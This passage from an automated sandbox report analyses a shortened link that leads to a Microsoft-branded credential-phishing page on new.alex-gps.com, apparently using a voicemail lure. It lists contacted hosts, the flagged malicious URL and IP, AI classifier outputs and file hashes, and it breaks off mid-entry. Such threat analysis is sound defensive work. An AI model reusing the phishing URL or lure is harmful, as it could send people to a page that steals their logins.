s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	unknown
dual-s-9999.dual-s-msedge.net	52.123.128.254	true	false	unknown
clients2.googleusercontent.com	unknown	unknown	false	unknown
cdn.socket.io	unknown	unknown	false	unknown
apis.google.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://play.google.com/log?format=json&hasfast=true	false	unknown
https://new.alex-gps.com/m/jsv.js	false	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	unknown
https://fp-afd.azurefd.us/apc/trans.gif?9094d06e40078f56d136d2ad1c47e815	false	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	unknown
https://chrome.google.com/webstore/inlineinstall/detail/efaidnbmnnnibpcajpcglclefindmkaj	false	unknown
https://rum8.perf.linkedin.com/apc/trans.gif?cb3737de19b8488d9075685ef2e87cae	false	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg	false	unknown
https://www.w3schools.com/w3css/4/w3.css	false	unknown
https://clients2.googleusercontent.com/crx/blobs/AYA8Vyx2J_yUZTKcv47OjJ_lQNlaCYqeh8SOiGiawnXT0TvFvxRmwfkcv63jai6G-68PkdQz0qjWRURdD69KjIEk_1WMoGqX2-nmHyARS_kIQQQ8jggfB8g6y3OxQgNbZ3cAxlKa5c6rbuh5modTsW2qcgj5aN-TT3fn/EFAIDNBMNNNIBPCAJPCGLCLEFINDMKAJ_24_10_2_0.crx	false	unknown
https://www.google.com/async/newtab_promos	false	unknown
https://new.alex-gps.com/favicon.ico	false	unknown
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	unknown
https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N	true	unknown
https://cdn.socket.io/4.7.5/socket.io.min.js	false	unknown
https://rum8.perf.linkedin.com/apc/trans.gif?77361e034fb3f0c30401afeebe356fff	false	unknown
https://fp-afd.azurefd.us/apc/trans.gif?c44e8bb66b77d5deb8d9b578b4db2152	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.broofa.com	chromecache_1261.12.dr	false	URL Reputation: safe	unknown
https://apis.google.com	chromecache_1261.12.dr, chromecache_1260.12.dr	false	URL Reputation: safe	unknown
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_1260.12.dr	false	URL Reputation: safe	unknown
https://domains.google.com/suggest/flow	chromecache_1260.12.dr	false	URL Reputation: safe	unknown
https://clients6.google.com	chromecache_1260.12.dr	false		unknown
https://plus.google.com	chromecache_1260.12.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.206	play.google.com	United States	15169	GOOGLEUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
142.250.114.95	unknown	United States	15169	GOOGLEUS	false
142.251.116.94	unknown	United States	15169	GOOGLEUS	false
13.107.246.60	s-part-0032.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.20.6.133	t.ly	United States	13335	CLOUDFLARENETUS	false
192.229.173.207	unknown	United States	15133	EDGECASTUS	false
142.250.186.97	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
13.226.184.17	unknown	United States	16509	AMAZON-02US	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.113.94	unknown	United States	15169	GOOGLEUS	false
18.245.31.89	d2vgu95hoyrpkh.cloudfront.net	United States	16509	AMAZON-02US	false
201.102.105.236	new.alex-gps.com	Mexico	8151	UninetSAdeCVMX	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.181.228	unknown	United States	15169	GOOGLEUS	false
142.250.186.142	plus.l.google.com	United States	15169	GOOGLEUS	false
142.250.186.100	www.google.com	United States	15169	GOOGLEUS	false
142.250.113.101	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.16
192.168.2.4
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540628
Start date and time:	2024-10-24 00:25:58 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://t.ly/2jKWO
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal92.phis.win@53/20@22/23
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 142.250.184.206, 142.250.185.238, 64.233.184.84, 52.109.32.97, 52.109.89.19, 52.113.194.132, 20.189.173.26, 172.217.18.3, 34.104.35.123, 142.250.185.163, 74.125.71.84, 216.58.206.46, 142.250.184.227, 142.250.186.74, 142.250.186.42, 142.250.186.170, 172.217.16.202, 142.250.184.234, 142.250.185.202, 142.250.184.202, 142.250.181.234, 142.250.186.106, 142.250.185.234, 142.250.185.74, 142.250.186.138, 142.250.74.202, 216.58.206.74, 142.250.185.170, 172.217.18.10, 216.58.206.42, 142.250.185.106, 216.58.212.170, 142.250.185.138
Excluded domains from analysis (whitelisted): p-ring.msedge.net, fp-vs-nocache.azureedge.net, onedscolprdwus19.westus.cloudapp.azure.com, slscr.update.microsoft.com, otelrules.afd.azureedge.net, weu-azsc-000.roaming.officeapps.live.com, dual-s-ring.msedge.net, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, eur.roaming1.live.com.akadns.net, o-ring-fallback.msedge.net, ecs-office.s-0005.s-msedge.net, roaming.officeapps.live.com, osiprod-weu-buff-azsc-000.westeurope.cloudapp.azure.com, clients2.google.com, login.live.com, e16604.g.akamaiedge.net, update.googleapis.com, officeclient.microsoft.com, www.gstatic.com, prod.fs.microsoft.com.akadns.net, ukw-azsc-config.officeapps.live.com, optimizationguide-pa.googleapis.com, fp-afd.azurefd.us, ecs.office.com, self-events-data.trafficmanager.net, mcr-ring.msedge.net, rum8.perf.linkedin.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://t.ly/2jKWO

Simulations

Behavior and APIs

Time	Type	Description
18:28:13	API Interceptor	263x Sleep call for process: splwow64.exe modified

LLM Input / Output

Input	Output
URL: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "CLICK HERE TO LISTEN", "prominent_button_name": "CLICK HERE", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N Model: claude-3-haiku-20240307	```json { "brands": [] }
	```json { "brands": [] }
URL: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "CLICK HERE TO LISTEN", "prominent_button_name": "CLICK HERE", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N Model: claude-3-haiku-20240307	```json { "brands": [] }
	```json { "brands": [] }
URL: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Next", "text_input_field_labels": [ "Email, phone or Skype" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N Model: claude-3-haiku-20240307	```json { "brands": [ "Microsoft" ] }
	```json { "brands": [ "Microsoft" ] }
URL: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N Model: gpt-4o	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.", "The URL 'new.alex-gps.com' does not match the legitimate domain for Microsoft.", "The domain 'alex-gps.com' does not have any known association with Microsoft.", "The presence of input fields like 'Email, phone or Skype' is typical for Microsoft services, but the domain mismatch is suspicious.", "The use of a subdomain 'new' and a different primary domain 'alex-gps.com' suggests potential phishing." ], "riskscore": 9} Google indexed: False
URL: new.alex-gps.com Brands: Microsoft Input Fields: Email, phone or Skype

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 23 21:27:49 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.980909681926209
Encrypted:	false
SSDEEP:	48:8+0dEToQwwH0idAKZdA1FehwiZUklqehNy+3:8YvsKy
MD5:	C143ACA8DFBF64188572F5CDCAC71DC9
SHA1:	5BBC7A364279E8E035822FA6782E1437C924163A
SHA-256:	E21D2C65FF729FDAFCFF90F428E7B25AA76A4BC22B2528183FE4A2BE122A7620
SHA-512:	AEEDE7C1A47192D92BABD162A3F3C16E98A548229D76C394CB96B72A610B6EF4077503A1B07864D8345DC05FF817FD801F4ADFD2C09076C9844D85EDF28FB76B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........%..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IWYK.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VWYx.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VWYx.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VWYx............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VWYy............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.........../0jf.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 23 21:27:49 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.995653073808527
Encrypted:	false
SSDEEP:	48:880dEToQwwH0idAKZdA1seh/iZUkAQkqeh6y+2:86vC9Q/y
MD5:	80D829DF7DF546F4E20122C327F59847
SHA1:	98D7E100E24E78C828A614C01EE033BBC374569B
SHA-256:	1066C602E952231E27DF3FC3645329F99FEA935B3A86DE917CBC408C45E33197
SHA-512:	85F30F3BF2E5E7F31789E5D594266EDDC0CC098E03E73DE533433DBA48AAD57D71149AA93A3423AA77AE5310A2FFDA90D359F0443F925ABFDC8A34529DBA56BD
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....V..%..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IWYK.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VWYx.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VWYx.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VWYx............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VWYy............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.........../0jf.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.004792960043568
Encrypted:	false
SSDEEP:	48:8l0dEToQAH0idAKZdA14meh7sFiZUkmgqeh7s8y+BX:8RvRn2y
MD5:	C281E5480E06E099522948106E2C2BF8
SHA1:	53B513A65DDEB40F347DB76FD4506E1A993A3FCA
SHA-256:	9312284AD953F160AF8288844B4E4A489AFDBDEC67CAAB73044BFC87928B48E4
SHA-512:	D34C4E9F9A6EA4300ECFC772130515D43504C452C9328CFD5319B848EF2015666DF24293F314A9E2DC4B036716DD0E0E6DFAB32652153C887472C9F80A652801
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IWYK.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VWYx.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VWYx.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VWYx............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.........../0jf.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 23 21:27:49 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9927447746577927
Encrypted:	false
SSDEEP:	48:8j0dEToQwwH0idAKZdA1TehDiZUkwqehOy+R:8zvZ0y
MD5:	51B404321BDBA148B344A68D7541E0A6
SHA1:	E6B9D11EA15B41DA776816FED38D34988F35A20B
SHA-256:	379422ECF42A0A34BE5E108BA6616827443F63D44AC4F11553A211C1DE7B1E30
SHA-512:	7A00B8FAF0211BDB357ECF8C545F2A12FF12483614A7522E5744D59AEB2A80FECA9EAC9658C64D154BD2EA55C054E824348FBB55574AE5608D1606330E34C68E
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........%..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IWYK.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VWYx.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VWYx.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VWYx............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VWYy............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.........../0jf.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 23 21:27:49 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9821978071000887
Encrypted:	false
SSDEEP:	48:8x0dEToQwwH0idAKZdA1dehBiZUk1W1qehYy+C:8tvJ94y
MD5:	EE629654406B30DD7315805658DB372F
SHA1:	7D41398419BC7018E921B21A635152818C1313BF
SHA-256:	1FC3FA577C4C880FB7DE4FAD6502BB7AC63845D5994F6719FA9EBF050FE6AA93
SHA-512:	95D5F0DCD40CEC2B660509A470D19B8F4057BF2B8387D1E42A28C4D17178EA5EF1D5B5ACB8F355FB59CA50019165A9972419D05D0BD5BA98F6C49456F293EBAA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....k...%..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IWYK.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VWYx.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VWYx.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VWYx............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VWYy............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.........../0jf.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 23 21:27:49 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.991753046989196
Encrypted:	false
SSDEEP:	48:8t0dEToQwwH0idAKZdA1duTeehOuTbbiZUk5OjqehOuTb2y+yT+:8JvxTfTbxWOvTb2y7T
MD5:	B627DE2E031518291A796917BDCA80C6
SHA1:	F8A412572184708CA389DFB37FA257B966C96351
SHA-256:	862DA877173BE363B11C2055A6F95526751ADC18E3BBC15FAD6DCCCEE54F8FB6
SHA-512:	037409EF35CD7AA65189D9E67D311AAE41F96288FFA9284FB88750CC06758E0785A04CFD97626052B31F63CD35A2F40D2D54CC6568B305C1340FC6C6FA689757
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....WQ..%..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IWYK.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VWYx.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VWYx.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VWYx............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VWYy............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.........../0jf.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 1256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 1257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (807)
Category:	downloaded
Size (bytes):	812
Entropy (8bit):	5.170474982218861
Encrypted:	false
SSDEEP:	24:ein8LyDtBHslgT9lCuABuoB7HHHHHHHYqmffffffo:eittKlgZ01BuSEqmffffffo
MD5:	FBFFF7BCACC739FE3034E43D7B5FDA95
SHA1:	195EF951C507D7B9EE43BA20A1DE9858DA2A47C1
SHA-256:	1DD0188B03309F228A44B2A26568C2172E4BC67590A42D726E136ECA62F62199
SHA-512:	0C8013EFD7CC08B8EC213BD894CDBB23D799F8B11B2A8DC2B968F83FF1FF0BE79FB677D04FDB7D02E8ADD43FCC110AE6E2FFDB22661F11F7E161D8028173AF7C
Malicious:	false
Reputation:	low
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["final jeopardy today","dennis uniforms shut down","the comet tsuchinshan atlas","rb leipzig vs liverpool champions league","monster hunter wilds open beta test","stuff your kindle day romance books","capital one savorone","utah jazz memphis grizzlies"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 1258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
